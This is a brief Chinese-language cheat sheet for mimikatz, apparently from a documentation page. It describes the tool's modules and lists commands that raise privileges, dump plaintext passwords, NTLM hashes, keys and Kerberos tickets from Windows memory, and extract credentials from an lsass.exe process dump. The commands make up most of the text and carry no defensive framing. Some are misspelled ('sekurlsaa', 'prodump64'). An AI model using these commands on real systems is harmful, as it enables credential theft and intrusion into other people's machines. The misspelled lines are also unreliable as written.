mimikatz
它可以从机器内存中提取明文密码、密码Hash、PIN码和Kerberos票据等。
privilege模块
该模块是用于提权的模块。mimikatz很多模块需要以高权限运行，因此执行高权限操作模块的时候需要先利用privilege模块进行提权。只有用具有管理员权限的窗口执行该命令才能成功，普通用户权限执行该命令会失败。
privilege::debugsekurlsa模块
该模块提供了一些用来枚举凭据的命令。该模块使用需要高权限。
#只抓取内存中保存的用户明文密码
sekurlsa::wdigest
#只抓取内存中保存的用户Hash
sekurlsaa::msv
#只抓取内存中保存的用户密码Key值
sekurlsa::ekeys
#抓取内存中保存的用户所有凭据
sekurlsa::logonpasswords
#加载dmp文件，并导出其中的明文密码
prodump64.exe -accepteula -ma lsass.exe lsass.dmp
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords full
#导出lsass.exe进程中所有的票据
sekurlsa::tickets /export从windows server 2012系统开始，默认情况下，内存中不保存用户的明文密码
kerberos模块
该模块是与kerberos相关的模块
lsadump模块
该模块是对local security authority(LSA)进行密码抓取的模块
token模块
该模块是与访问令牌相关的模块
sid模块
该模块是与SID相关的模块
这有帮助吗？